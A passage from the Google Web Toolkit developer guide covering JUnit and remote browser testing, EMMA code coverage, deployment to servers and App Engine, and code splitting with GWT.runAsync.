~/Foo> webAppCreator -out fooApp -junit /opt/eclipse/plugins/org.junit_3.8.1/junit.jar com.example.foo.Foo Created directory fooApp/src Created directory fooApp/war Created directory fooApp/war/WEB-INF Created directory fooApp/war/WEB-INF/lib Created directory fooApp/src/com/example/foo Created directory fooApp/src/com/example/foo/client Created directory fooApp/src/com/example/foo/server Created directory fooApp/test/com/example/foo/client Created file fooApp/src/com/example/foo/Foo.gwt.xml Created file fooApp/war/Foo.html Created file fooApp/war/Foo.css Created file fooApp/war/WEB-INF/web.xml Created file fooApp/src/com/example/foo/client/Foo.java Created file fooApp/src/com/example/foo/client/GreetingService.java Created file fooApp/src/com/example/foo/client/GreetingServiceAsync.java Created file fooApp/src/com/example/foo/server/GreetingServiceImpl.java Created file fooApp/build.xml Created file fooApp/README.txt Created file fooApp/test/com/example/foo/client/FooTest.java Created file fooApp/.project Created file fooApp/.classpath Created file fooApp/Foo.launch Created file fooApp/FooTest-dev.launch Created file fooApp/FooTest-prod.launch Created file fooApp/war/WEB-INF/lib/gwt-servlet.jar

Follow the instructions in the generated fooApp/README.txt file. You have two ways to run your tests: using ant or using Eclipse. There are ant targets ant test.dev and ant test.web for running your tests in development and production mode, respectively. Similarly, you can follow the instructions in the README.txt file to import your project in Eclipse or your favorite IDE, and use the launch configs FooTest-dev and FooTest-prod to run your tests in development and production mode using eclipse. As you keep adding your testing logic to the skeleton FooTest.java, you can continue using the above techniques to run your tests.

Creating a Test Case by Hand
If you prefer not to use webAppCreator, you may create a test case suite by hand by following the instructions below: 1. Define a class that extends GWTTestCase. Make sure your test class is on the module source path (e.g. in the client subpackage of your module.) You can add new source paths by editing the module XML file and adding a <source> element. 2. If you do not have a GWT module yet, create a module that causes the source for your test case to be included. If you are adding a test case to an existing GWT app, you can just use the existing module. 3. Implement the method GWTTestCase.getModuleName() to return the fully-qualified name of the module. This is the glue that tells the JUnit test case which module to instantiate. 4. Compile your test case class to bytecode. You can use the Java compiler directly using javac or a Java IDE such as Eclipse. 5. Run your test case. Use the class junit.textui.TestRunner as your main class and pass the full name of your test class as the command line argument, e.g. com.example.foo.client.FooTest. When running the test case, make sure your classpath includes: • • • • • Your project's src directory Your project's bin directory The gwt-user.jar library The gwt-dev.jar library The junit.jar library

358 / 469

Client side Example
First of all, you will need a valid GWT module to host your test case class. Usually, you do not need to create a new module XML file - you can just use the one you have already created to develop your GWT module. But if you did not already have a module, you might create one like this:
<module> <!-- Module com.example.foo.Foo --> <!-- Standard inherit. --> <inherits name='com.google.gwt.user.User'/> <!-- implicitly includes com.example.foo.client package --> <!-- OPTIONAL STUFF FOLLOWS --> <!-- It's okay for your module to declare an entry point. --> <!-- This gets ignored when running under JUnit. --> <entry-point class='com.example.foo.FooModule'/> <!-- You can also test remote services during a JUnit run. --> <servlet path='/foo' class='com.example.foo.server.FooServiceImpl'/> </module>

Tip: You do not need to create a separate module for every test case, and in fact will pay a startup penalty for every module you do use. In the example above, any test cases in com.example.foo.client (or any subpackage) can share the com.example.foo.Foo module. Suppose you had created a widget under the foo package, UpperCasingLabel, which ensures that the text it shows is all upper case. Here is how you might test it.
package com.example.foo.client; import com.google.gwt.junit.client.GWTTestCase; public class UpperCasingLabelTest extends GWTTestCase { /** * Specifies a module to use when running this test case. The returned * module must include the source for this class. * * @see com.google.gwt.junit.client.GWTTestCase#getModuleName() */ @Override public String getModuleName() { return "com.example.foo.Foo"; } public void testUpperCasingLabel() { UpperCasingLabel upperCasingLabel = new UpperCasingLabel(); upperCasingLabel.setText("foo"); assertEquals("FOO", upperCasingLabel.getText()); upperCasingLabel.setText("BAR"); assertEquals("BAR", upperCasingLabel.getText()); upperCasingLabel.setText("BaZ"); assertEquals("BAZ", upperCasingLabel.getText()); } }

Now, there are several ways to run your tests. Just look at the sample ant scripts or launch configs generated by webAppCreator, as in the previous subsection.

Passing Arguments to the Test Infrastructure
The main class in the test infrastructure is JUnitShell. To control aspects of how your tests execute, you must pass arguments to this class. Arguments cannot be passed directly through the command-line because normal command-line arguments go directly to the JUnit runner. Instead, define the system property gwt.args to pass arguments to JunitShell.

359 / 469

For example, to run tests in production mode (that is, run the tests afer they have been compiled into JavaScript), declare -Dgwt.args="-prod" as a JVM argument when invoking JUnit. To get a full list of supported options, declare -Dgwt.args="-help" (instead of running the test, help is printed to the console).

Running your test in Production Mode
When using the webAppCreator tool, you get the ability to launch your tests in either development mode or production mode. Make sure you test in both modes - although rare, there are some differences between Java and JavaScript that could cause your code to produce different results when deployed. If you instead decide to run the JUnit TestRunner from command line, you must add some additional arguments to get your unit tests running in production mode. By default, tests run in development mode are run as normal Java bytecode in a JVM. To override this default behavior, you need to pass arguments to JUnitShell
-Dgwt.args="-prod"

Running your test in Manual Mode
Manual-mode tests allow you to run unit tests manually on any browser. In this mode, the JUnitShell main class runs as usual on a specified GWT module, but instead of running the test immediately, it prints out a URL and waits for a browser to connect. You can manually cut and paste this URL into the browser of your choice, and the unit tests will run in that browser. For example, if you want to run a test in a single browser, you would use the following arguments:
-runStyle Manual:1

GWT will then show a console message like the following:
Please navigate your browser to this URL: http://172.29.212.75:58339/com.google.gwt.user.User.JUnit/junit.html? gwt.codesvr=172.29.212.75:42899

Point your browser to the specified URL, and the test will run. You may be prompted by the Google Web Toolkit Developer Plugin to accept the connection the first time the test is run. Manual-mode test targets are not generated by the webAppCreator tool, but you can easily create one by copying the test.prod ant target in the build.xml file to test.manual and adding -runStyle Manual:1 to the -Dgwt.args part. Manual mode can also be used for remote browser testing.

Running your test on Remote Systems
Since different browsers can often behave in unexpected ways, it is important for developers to test their applications on all browsers they plan to support. GWT simplifies remote browser testing by enabling you to run tests on remote systems, as explained in the Remote Browser Testing page.

Automating your Test Cases
When developing a large project, a good practice is to integrate the running of your test cases with your regular build process. When you build manually, such as using ant from the command line or using your desktop IDE, this is as simple as just adding the invocation of JUnit into your regular build process. As mentioned before, when you run GWTTestCase tests, an HtmlUnit browser runs the tests. However, all tests might not run successfully on HtmlUnit, as explained earlier. GWT provides remote testing solutions that allow you to use a selenium server to run tests. Also, consider organizing your tests into GWTTestSuite classes to get the best performance from your unit tests.

360 / 469

Server side testing
The tests described above are intended to assist with testing client side code. The test case wrapper GWTTestCase will launch either a development mode session or a web browser to test the generated JavaScript. On the other hand, server side code runs as native Java in a JVM without being translated to JavaScript, so it is not necessary to run tests of server side code using GWTTestCase as the base class for your tests. Instead, use JUnit's TestCase and other related classes directly when writing tests for your application's server side code. That said, you may want both GWTTestCase and TestCase coverage of code that will be used on both the client and the server.

4.13.3.

Asynchronous Testing

GWT's JUnit integration provides special support for testing functionality that cannot be executed in straight-line code. For example, you might want to make an RPC call to a server and then validate the response. However, in a normal JUnit test run, the test stops as soon as the test method returns control to the caller, and GWT does not support multiple threads or blocking. To support this use case, GWTTestCase has extended the TestCase API. The two key methods are GWTTestCase.delayTestFinish(int) and GWTTestCase.finishTest(). Calling delayTestFinish() during a test method's execution puts that test in asynchronous mode, which means the test will not finish when the test method returns control to the caller. Instead, a delay period begins, which lasts the amount of time specified in the call to delayTestFinish(). During the delay period, the test system will wait for one of three things to happen: 1. If finishTest() is called before the delay period expires, the test will succeed. 2. If any exception escapes from an event handler during the delay period, the test will error with the thrown exception. 3. If the delay period expires and neither of the above has happened, the test will error with a TimeoutException. The normal use pattern is to setup an event in the test method and call delayTestFinish() with a timeout significantly longer than the event is expected to take. The event handler validates the event and then calls finishTest().

Example
public void testTimer() { // Setup an asynchronous event handler. Timer timer = new Timer() { public void run() { // do some validation logic // tell the test system the test is now done finishTest(); } }; // Set a delay period significantly longer than the // event is expected to take. delayTestFinish(500); // Schedule the event and return control to the test system. timer.schedule(100); }

The recommended pattern is to test one asynchronous event per test method. If you need to test multiple events in the same method, here are a couple of techniques: • "Chain" the events together. Trigger the first event during the test method's execution; when that event fires, call delayTestFinish() again with a new timeout and trigger the next event. When the last event fires, call finishTest() as normal. Set a counter containing the number of events to wait for. As each event comes in, decrement the counter. Call finishTest() when the counter reaches 0.

361 / 469

4.13.4.

Combining TestCase classes into a TestSuite

The GWTTestSuite mechanism has the overhead of having to start a development mode shell and servlet or compile your code. There is also overhead for each test module within a suite. Ideally you should group your tests into as few modules as is practical, and should avoid having tests in a particular module run by more than one suite. (Tests are in the same module if they return return the same value from getModuleName().) GWTTestSuite class re-orders the test cases so that all cases that share a module are run back to back. Creating a suite is simple if you have already defined individual JUnit TestCases or GWTTestCases. Here is an example:
public class MapsTestSuite extends GWTTestSuite { public static Test suite() { TestSuite suite = new TestSuite("Test for a Maps Application"); suite.addTestSuite(MapTest.class); suite.addTestSuite(EventTest.class); suite.addTestSuite(CopyTest.class); return suite; } }

The three test cases MapTest, EventTest, and CopyTest can now all run in the same instance of JUnitShell.
java -Xmx256M -cp "./src:./test:./bin:./junit.jar:/gwt/gwt-user.jar:/gwt/gwt-dev.jar:/gwt/gwtmaps.jar" junit.textui.TestRunner com.example.MapsTestSuite

4.13.5.

Setting up and tearing down JUnit test cases that use GWT code

When using a test method in a JUnit TestCase, any objects your test creates and leaves a reference to will remain active. This could interfere with future test methods. You can override two new methods to prepare for and/or clean up after each test method. • • gwtSetUp() runs before each test method in a test case. gwtTearDown() runs after each test method in a test case.

The following example shows how to defensively cleanup the DOM before the next test run using gwtSetUp(). It skips over <iframe> and <script> tags so that the GWT test infrastructure is not accidentally removed.
import com.google.gwt.junit.client.GWTTestCase; import com.google.gwt.user.client.DOM; import com.google.gwt.user.client.Element; private static native String getNodeName(Element elem) /*-{ return (elem.nodeName || "").toLowerCase(); }-*/; /** * Removes all elements in the body, except scripts and iframes. */ public void gwtSetUp () { Element bodyElem = RootPanel.getBodyElement(); List<Element> toRemove = new ArrayList<Element>(); for (int i = 0, n = DOM.getChildCount(bodyElem); i < n; ++i) { Element elem = DOM.getChild(bodyElem, i); String nodeName = getNodeName(elem); if (!"script".equals(nodeName) && !"iframe".equals(nodeName)) { toRemove.add(elem); } } for (int i = 0, n = toRemove.size(); i < n; ++i) { DOM.removeChild(bodyElem, toRemove.get(i)); } }

362 / 469

4.13.6.

Running Tests in Eclipse

The webAppCreator tool provides a simple way to generate example launch configurations that can be used to run both development and production mode tests in Eclipse. You can generate additional launch configurations by copying it and replacing the project name appropriately. Alternatively, one can also directly generate launch configurations. Create a normal JUnit run configuration by rightclicking on the Test file that extends GWTTestCase and selecting Run as > JUnit Test. Though the first run will fail, a new JUnit run configuration will be generated. Modify the run configuration by adding the project's src and test directories to the classpath, like so: • • • • • click the Classpath tab select User Entries click the Advanced button select the Add Folders radio button add your src and test directories

Launch the run config to see the tests running in development mode. To run tests in production mode, copy the development mode launch configuration and pass VM arguments (by clicking the Arguments tab and adding to the VM arguments textarea)
-Dgwt.args="-prod"

4.13.7.

HtmlUnit

HtmlUnit is an open-source GUI-less browser written in 100% Java. Because HtmlUnit does not involve any native code, debugging GWT Tests in development mode can be done entirely in a Java debugger. HtmlUnit does not require firing up a new browser process; the HtmlUnit browser instances just run as new threads.

Limitations and Workarounds
Because HtmlUnit is a GUI-less browser, layout cannot be tested on HtmlUnit. You can annotate such test methods or classes that must not be run by HtmlUnit as @DoNotRunWith(Platform.HtmlUnit). Additionally, correct tests can sometimes fail on HtmlUnit, either because the HtmlUnit support for that feature is lacking or because of HtmlUnit's issues with flakiness when running asynchronous tests. In addition to sending us bug reports, you can annotate such tests with @DoNotRunWith so that your build does not keep on breaking. There is also a temporary option for reducing the flakiness that HtmlUnit might cause with asynchronous tests (while we fix the fundamental problem). You can specify how many times GWT should attempt to run a test in case of a failure. For example, with -Xtries 3, GWT will attempt to run a test up to three times.

RunStyle HtmlUnit
The HtmlUnit runstyle enables you to specify other browser emulations. By default, GWT runs HtmlUnit in the Firefox3 emulation mode. As of the 2.0 release, GWT has not been extensively tested on the other emulations that HtmlUnit supports, namely FF2, IE6, IE7, and IE8. Still, to use them, you can define the system property gwt.args, as explained before. For example, to cause tests to run both in FF3 and IE8 emulation mode, set gwt.args to:
-runStyle HtmlUnit:FF3,IE6

363 / 469

4.13.8.

Remote Testing

Running JUnit tests on remote systems 1. Introduction 2. Useful Arguments • -prod • -userAgents 3. Run Styles • Manual • Selenium • Firefox Profile • Remote Web

Introduction
This document explains how to run GWT tests on remote systems. There are three types of remote RunStyles that can help you run remote tests: • • • Manual Selenium RemoteWeb

To use any of these run styles, you need to pass the -runStyle argument to the test infrastructure (see Passing Arguments to the Test Infrastructure). The format looks like this (see specific examples below):
-runStyle <NameStartingWithCaps>:arguments

If you are running a test from Eclipse, you would add something like the following to the VM arguments (Note that the run style name starts with a capital letter):
-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox"

Useful Arguments
The following arguments are useful when running remote tests.

-prod
If you are not familiar with development mode versus production mode, you should read the associated tutorials on Compiling and Debugging first. All of the following examples assume that you are running tests in development mode, which requires that you have the Google Web Toolkit Developer Plugin installed. Its important to note that URLs must be whitelisted before this plugin will connect to them. This means that you must allow the remote connection on the remote system the first time you run the test, or ahead of time if possible. Tests run in development mode by default. You can run a test in production mode by adding -prod to the GWT arguments. When running tests in production mode, you do not need to have the Google Web Toolkit Developer Plugin installed on the remote system.
-Dgwt.args="-prod -runStyle Selenium:myhost:4444/*firefox"

-userAgents
When running tests in production mode, GWT compiles the tests for all browsers, which can take a while. If you know which browsers your test will run in, you can limit the browser permutations (and reduce compile time), using the -userAgents argument:
-Dgwt.args="-prod -userAgents ie6,gecko1_8 -runStyle Selenium:myhost:4444/*firefox"

364 / 469

Run Styles
Manual
The Manual run style allows you to run JUnit tests in any browser by directing the browser to a URL that GWT provides. For details, see Running tests in manual mode. In particular, manual mode can be used for remote testing — the browser may be running on a computer different from the one where the tests were started.

Selenium
Recommended for Firefox, Safari, Google Chrome, and Internet Explorer (see note). Internet Explorer: You can try running Internet Explorer in Selenium as it is a supported browser. If the tests work for you, then you don't need to use the RemoteWeb runstyle at all, which should simplify your testing. However, we've found that Selenium does not always open Internet Explorer successfully on newer versions of Windows. If this happens, you can try passing the -singleWindow argument into Selenium, or you can use the RemoteWeb run style to test IE. GWT can execute tests against a remote system running the Selenium Remote Control. You do this using the following command:
-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox,myotherhost:4444/*firefox"

In the above example, we are using the Selenium run style to execute a development mode test on Firefox against two remote systems (myhost and myotherhost). Note: On newer versions of Windows, if you run Selenium as an Administrator, you will not run tests in development mode because the Google Web Toolkit Developer Plugin is installed for the current user only. Firefox Profile By default, Selenium creates a new Firefox profile so it can prevent unnecessary popups that would otherwise mess up the test. However, you will probably want to create your own Firefox profile that includes the Google Web Toolkit Developer Plugin. To do this, run Firefox from the command line and pass in the -ProfileManager argument to open the Profile Manager:
firefox.exe -ProfileManager

Create a new profile (remember the location), and open it. Setup the profile however you want, making sure to install the Google Web Toolkit Developer Plugin. On our test systems, we use the following settings: • Set a blank homepage • • • • • • • • • • • • • • Edit -> Preferences -> Main Set "When Firefox Starts" to "Show a blank page" Edit -> Preferences -> Security Under "Warning Messages" click "Settings" Uncheck all warnings Edit -> Preferences -> Advanced -> Update Uncheck all automatic updates Type 'about:config' in the browser bar Find browser.sessionstore.resume_from_crash and set it to false Find browser.sessionstore.enabled and set it to false (if it exists)

Disable warnings

Disable auto update

Disable session restore

Install Firebug (useful for debugging) 365 / 469

• •

Install the Google Web Toolkit Developer Plugin Whitelist the hosts that will launch the development mode code server. Since Selenium copies the profile for each test, you must do this now. If you do not, you will have to allow the remote connection for every test! • • • • Restart Firefox Tools -> Addons Select Google Web Toolkit Developer Plugin for Firefox Click "Options"

• Add the IP address that you want to allow the plugin to connect to. When starting the selenium server, pass in the following argument to use your firefox profile as a template:
--firefoxProfileTemplate /path/to/profile

Remote Web
Recommended for Internet Explorer if Selenium does not meet your needs. See note Internet Explorer above. The RemoteWeb run style allows you to run tests against systems running the BrowserManagerServer, a server that GWT provides. First, you need to start the BrowserManagerServer on the remote test system using the following java command. Note that gwt-user.jar and gwt-dev.jar are on the classpath.
java -cp gwt-user.jar;gwt-dev.jar com.google.gwt.junit.remote.BrowserManagerServer ie8 "C:\Program Files\Internet Explorer\IEXPLORE.EXE"

BrowserManagerServer takes commands in pairs. In the above example, we are associating the name "ie8" with the executable iexplore.exe.
<browser name> <path/to/browser>

To run a test against IE8, you would use the following argument:
-runStyle RemoteWeb:rmi://myhost/ie8

366 / 469

4.13.9.

Code Coverage

For measuring code coverage, GWT supports EMMA, a widely used code coverage tool for Java code. To be able to interact with other EMMA tools, GWT uses EMMA in offline mode — that is, GWT uses classes instrumented by EMMA over the classes it obtains by compiling the Java source files. We offer two ways of measuring code coverage: (i) using the EclEmma plugin in Eclipse and (ii) using command-line tools. For both techniques, use the EMMA jar from GWT's download page — it includes a patch so that EMMA does not throw away the coverage data if the same class is loaded by different classloaders, as is common in GWT. 1. Example 2. Using EclEmma, the Eclipse plugin for EMMA 3. Using command-line tools

Example
As a running example, let us say we create a project with the provided webAppCreator and junitCreator tools as:
./webAppCreator -out myapp -junit ../../../../gwt-tools/lib/junit/junit-3.8.1.jar com.example.myapp.MyApp

Add the following computeFactorial() method to MyApp.java and the dummy testFactorial() method to MyAppTest.java
int computeFactorial(int number) { if (number ≤ 1) { return 1; } return number * computeFactorial(number - 1); } public void testFactorial() { }

This example is used in the following sections.

Using EclEmma, the Eclipse plugin for EMMA
Step 1: Install patched version of EclEmma — the Eclipse plugin
1. Follow instructions at http://www.eclemma.org/installation.html to install EclEmma. 2. Find com.mountainminds.eclemma.core_.jar (say, com.mountainminds.eclemma.core_1.3.2.jar) in your eclipse plugins directory. 3. Download the latest EMMA jar from GWT's download page. Rename the downloaded file to emma.jar 4. Update the com.mountainminds.eclemma.core_.jar with the new emma.jar. For example, jar uf ../plugins/com.mountainminds.eclemma.core_1.3.2.jar emma.jar 5. Restart eclipse. Confirm that there is a "Coverage" block in the Run menu.

Step 2: Create a "Run configuration" for running the tests in development mode
Follow instructions for running tests in Eclipse

367 / 469

Step 3: Get initial coverage data
To get coverage data, select the configuration from the Coverage tab and click "coverage." In the screenshot below of the Eclipse window, you can see that the src folder has zero coverage (0 covered instructions of 195 instructions) whereas the test folder has 100% coverage (9 covered instructions). When you run it, your numbers might be different because we keep updating the starter application generated by webAppCreator. Note that these instructions are bytecode instructions; EclEmma maps them back to Java source code wherever possible. EclEmma highlights lines with colors: • • • covered lines = green partially covered lines = yellow lines with no coverage = red

This result is expected because, by default, the MyAppTest.java file does not exercise any of the application code. It has a simple test that returns true.

Step 4: Improving coverage
Augment the MyAppTest.java by creating the testFactorial method:
public void testFactorial() { assertEquals(1, new MyApp().computeFactorial(0)); }

On running coverage, now we see that out of 13 instructions in the method computeFactorial (the figure below shows the total instructions in the computeFactorial method), 5 instructions are covered. (Note that these instructions are bytecode instructions.) Let us add another statement to testFactorial() for testing the factorial computation for numbers greater than 0 such that the method becomes: 368 / 469

public void testFactorial() { assertEquals(1, new MyApp().computeFactorial(0)); assertEquals(2, new MyApp().computeFactorial(2)); }

On running coverage, now we see that coverage for the computeFactorial() method is indeed 100% as expected. The following screenshot of the Eclipse window shows the final coverage information. You can drill down on the individual class and methods to find the coverage information at the desired granularity. You can also export the coverage data to html or xml formats to keep track of your code coverage over time.

369 / 469

Using command-line tools
Since GWT requires a patched version of EMMA, use the EMMA jar from GWT's download page. Getting coverage results requires these steps: 1. 2. 3. 4. Step i - Generate the class files Step ii - Instrument the class files using Emma — this produces a coverage.em file Step iii - Run the test code after putting the modified emma.jar in the classpath Step iv - Produce the EMMA coverage report

(The yellow text is the output of the tool. For convenience, we copied the patched EMMA jar as emma.jar in the current directory.)
cd myapp # step i: generate the class files ant devmode # step ii: use emma to instrument the class files, creates a coverage.em file java -cp emma.jar emma instr -m overwrite -cp war/WEB-INF/classes/com/example/myapp/client EMMA: EMMA: EMMA: EMMA: processing instrumentation path ... instrumentation path processed in 231 ms [5 class(es) instrumented, 0 resource(s) copied] metadata merged into [PARENT_DIR/samples/com/example/myapp/coverage.em] {in 17 ms}

# step iii: run the test code after putting the modified emma.jar in the classpath; generates a coverage.ec file ant test.dev EMMA: .. Time: OK (2 EMMA: ms} collecting runtime coverage data ... 12.968 tests) runtime coverage data merged into [PARENT_DIR/samples/com/example/myapp/coverage.ec] {in 22

# step iv: generate the coverage report HTML file java -cp emma.jar emma report -r html -in coverage.em,coverage.ec EMMA: processing input files ... EMMA: 2 file(s) read and merged in 13 ms EMMA: writing [html] report to [PARENT_DIR/samples/com/example/myapp/coverage/index.html] ...

Follow Step 4 of the EclEmma section to improve coverage. As you add more tests, you can see your coverage increasing.

370 / 469

4.14. Deploy a GWT Application
Deploying a GWT application is straightforward and easy. The compiler's generated output is simply a few JavaScript and HTML files, along with other public resources (css, images, etc...). All you need to do to deploy your application is to put these resources on your web server. If you're using a Java servlet container on the server-side, it is also very easy to deploy your application, especially given that, starting with version 1.6, GWT adopts the WAR style output convention following the Servlet 2.5 API specification. This section describes the GWT application files generated by the GWT compiler and the different ways to deploy these resources on your web server or servlet container to get your GWT application up and running. Before reading about deploying your GWT application, it is also important to understand the GWT compiler, and the output it generates. 1. Deploying on a web server 2. Deploying on a servlet container using RPC 3. Deploying on Google App Engine

4.14.1.

Deploying on a web server

Deploying a GWT application to a web server is straightforward. All you need to do is copy the generated GWT application files after compilation and host them on your web server. You will also need to setup your server-side code, of course, and this setup can take on a number of different forms: communicating through JSONP and working with JSON data, server-side scripts that receive and parse HTTP requests sent through the GWT RequestBuilder, or GWT RPC (see "Deploying on a servlet container using RPC" section below). For an example of deploying GWT application files to a web server, suppose you want to deploy the DynaTable application on a web server, serving files from /web/apps/dynatable_app/. Once you've run the GWT compiler and generated the output in the war/dynatable directory, all you need to do is copy the host HTML page and stylesheet over to web/apps/dynatable_app/ and copy the contents of the war/dynatable subdirectory to /web/apps/dynatable_app/dynatable/. At this point, the application is deployed. However, there are a few important points to keep in mind to make sure your application is properly deployed: • • • • • The host HTML page can actually reside anywhere on your web server. The bootstrap script can also reside anywhere on your web server. The GWT application files must reside in the same directory as the bootstrap script, since the script looks for the application files relative to its own location. The host HTML page must reference the bootstrap script in its appropriate location on the web server. Any public resources can also be placed anywhere on the web server, but these should ideally mirror the resources' path relative to the war folder during development. Otherwise, references to these resources might not hold when deployed (e,g, an Image widget referencing some .png file).

4.14.2.

Deploying on a servlet container using RPC

Deploying a GWT application on a servlet container is also an easy process. Since the GWT compiler generates output in a directory structure that is already compliant to the Servlet 2.5 API specification, you can deploy your application from the output directory itself. It would be better practice to copy the output and deploy it to a separate directory on your servlet container, however. Referring to the DynaTable sample, deploying your project would involve copying the GWT compiler output to the following path on your servlet container:
webapps/dynatable/DynaTable.html webapps/dynatable/DynaTable.css webapps/dynatable/dynatable/dynatable.nocache.js // The rest of your GWT application files under webapps/dynatable/dynatable/

There are a few extra steps to take to make sure that your application is ready for deployment on the servlet container.

371 / 469

Class files
The build script generated by the webAppCreator utility automatically takes care of compiling your servlet classes and placing them in the war/WEB-INF/classes folder. However, it is possible that your resources may fall out of sync as you make changes to your server-side code that don't necessarily incur changes in your GWT client-side code, and hence you may forget to run the compiler to generate the new .class files for your servlet classes. In such cases, you could run the build script over your application code once more to generate the new .class files, but a simple javac would also suffice and probably take less time to compile. If the RPC service method signatures have changed, however, then you will need to re-compile your application with the GWT compiler. Any other server-side classes will also need to be placed in this directory, in accordance with the Servlet API specification.

web.xml
Any servlet you're using in your application, including GWT RPC servlets, will need to be defined in the web.xml file. In previous versions, GWT required you to define servlets in the module XML file in order for them to be resolved in development mode. This is no longer the case, and the web.xml file is used to configure servlets for both development mode and deployed production mode.

lib folder
The lib folder contains the various libraries (typically JAR and class files) that your application uses. Among the various server-side libraries your application uses, the gwt-servlet.jar should also go here if your application uses GWT RPC. The build.xml configuration file generated by the webAppCreator utility should take care of copying this resource to the lib directory for you. To copy other required libraries in the lib folder, you can either add them manually or update the build script to copy over libraries from your project classpath.

The serialization policy file
If you're using GWT RPC, the GWT compiler will have emitted an <md5>.gwt.rpc serialization policy file after compilation. This file must be deployed on your servlet container in order for the GWT RPC mechanism to determine whether it's safe to serialize types passed into your GWT RPC services. The serialization policy file can live anywhere in your webapp application directory, as long as it is retrievable via the ServletContext.getResource() call in your RPC service. If you're using GWT RPC in your application, you can check out documentation on deploying RPC services for more details.

4.14.3.

Deploying on Google App Engine (Java runtime)

Note: To run through the steps to deploy a GWT application to Google App Engine, see the tutorial Deploying to Google App Engine. Deploying your application on Google App Engine only takes a couple of steps. First, you need to compile your application with the GWT compiler to generate the application files in the standard war directory structure, then you can upload and deploy your application using the appcfg utility. If you used the webAppCreator to create your project, you can simply compile your application with:
ant build

and then deploy your application from the war output directory by invoking the appcfg utility with the update option:
<appengine_home_dir>/appcfg.sh update war

You will need to have your appengine-web.xml properly configured beforehand, as well as ensure that you have created a Google App Engine account and an application space for your GWT application. You can read the App Engine docs for more information.

372 / 469

4.15. Optimize a GWT Application
Once you have your application basically working, it's time to improve its performance. You can use Speed Tracer to find out how your application is performing, and you can use a number of tools to address the specific performance problems that you find.

Code Splitting
As an AJAX app develops, the JavaScript part of it tends to grow, eventually to the point that downloading and installing the JavaScript code adds significant time to the application's startup. GWT's code splitter can speed up the application's startup by allowing the application to start running before all of its code is installed.

Compile Report
When programming in GWT, it can sometimes be difficult to understand the compiled output. This is especially true for users of Code Splitting: why are some fragments bigger, some smaller? Our answer to these questions are Compile Reports. Compile Reports let GWT programmers gain insight into what happens in their application during the compile: how much output their code leads to, what Java packages and classes lead to large JavaScript output, and how the code is split up during Code Splitting. Equipped with this information, programmers can then modify their application in a targeted way in order to reduce the size of the entire compiled application or the size of certain fragments.

Client Bundle
The resources in a deployed GWT application can be roughly categorized into resources to never cache (.nocache.js), to cache forever (.cache.html), and everything else (myapp.css). Client Bundles allow you to move resources from the everything-else category into the cache-forever category.

Lightweight Metrics
The Lightweight Metrics system is a tool to find key areas where latency may be noticeable to your end users. It has very little overhead, can report metrics on application load time and RPC calls, you can profile multiple GWT modules at the same time, and can be extended for your own measurement needs. The Debug Panel for GWT uses the Lightweight metrics system. It provides an easy way to collect metrics and test your GWT application.

373 / 469

4.15.1.

Code Splitting

As an AJAX app develops, the JavaScript part of it tends to grow. Eventually, the code itself is often large enough that merely downloading and installing it adds significant time to the application's startup. To help with this issue, GWT provides Dead-for-now (DFN) code splitting. This article talks about what DFN code splitting is, how you start using it in an application, and how to improve an application that does use it. 1. 2. 3. 4. 5. Limitations How to use it Code-splitting development tools Specifying an initial load sequence Common coding patterns

Limitations
Code splitting is only supported with certain linkers. The default iframe linker is supported, but the cross-site linker is not yet. If you have changed your application to use a non-default linker, check whether that linker supports code splitting.

How to use it
To split your code, simply insert calls to the method GWT.runAsync at the places where you want the program to be able to pause for downloading more code. These locations are called split points. A call to GWT.runAsync is just like a call to register any other event handler. The only difference is that the event being handled is somewhat unusual. Instead of being a mouse-click event or key-press event, the event is that the necessary code has downloaded for execution to proceed. For example, here is the initial, unsplit Hello sample that comes with GWT:
public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { Window.alert("Hello, AJAX"); } }); RootPanel.get().add(b); } }

Suppose you wanted to split out the Window.alert call into a separate code download. The following code accomplishes this:
public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable caught) { Window.alert("Code download failed"); } public void onSuccess() { Window.alert("Hello, AJAX"); } }); } }); RootPanel.get().add(b); } }

In the place the code used to call Window.alert, there is now a call to GWT.runAsync. The argument to GWT.runAsync is a callback object that will be invoked once the necessary code downloads. Like with event handlers for GUI events, a runAsync callback is frequently an anonymous inner class.

374 / 469

That class must implement RunAsyncCallback, an interface declaring two methods. The first method is onFailure, which is called if any code fails to download. The second method is onSuccess, which is called when the code successfully arrives. In this case, the onSuccess method includes the call to Window.alert. With this modified version, the code initially downloaded does not include the string "Hello, AJAX" nor any code necessary to implement Window.alert. Once the button is clicked, the call to GWT.runAsync will be reached, and that code will start downloading. Assuming it downloads successfully, the onSuccess method will be called; since the necessary code has downloaded, that call will succeed. If there is a failure to download the code, then onFailure will be invoked. To see the difference in compilation, try compiling both versions and inspecting the output. The first version will generate cache.html files that all include the string "Hello, AJAX". Thus, when the app starts up, this string will be downloaded immediately. The second version, however, will not include this string in the cache.html files. Instead, this string will be located in cache.js files underneath the deferredjs directory. In the second version, the string is not loaded until the call to runAsync is reached. This one string is not a big deal for code size. In fact, the overhead of the runAsync run-time support could overwhelm the savings. However, you aren't limited to splitting out individual string literals. You can put arbitrary code behind a runAsync split point, potentially leading to very large improvements in your application's initial download size.

Code-splitting development tools
You've now seen the basic code-splitting mechanism that GWT provides. When you first try to split your own code, you might not split out as much as you hoped. You will try to split out some major subsystem, but there will be a stray reference to that subsystem somewhere reachable without going through a split point. That reference can be enough to pull much of the subsystem into the initial download. Because of this challenge, effective code splitting requires iteration. You have to try one way, look at how it worked, then make modifications to get it working better. This section describes several tools that GWT provides for iterating toward better code splitting.

Figure 1: Fragments produced by code splitting

375 / 469

The results of code splitting
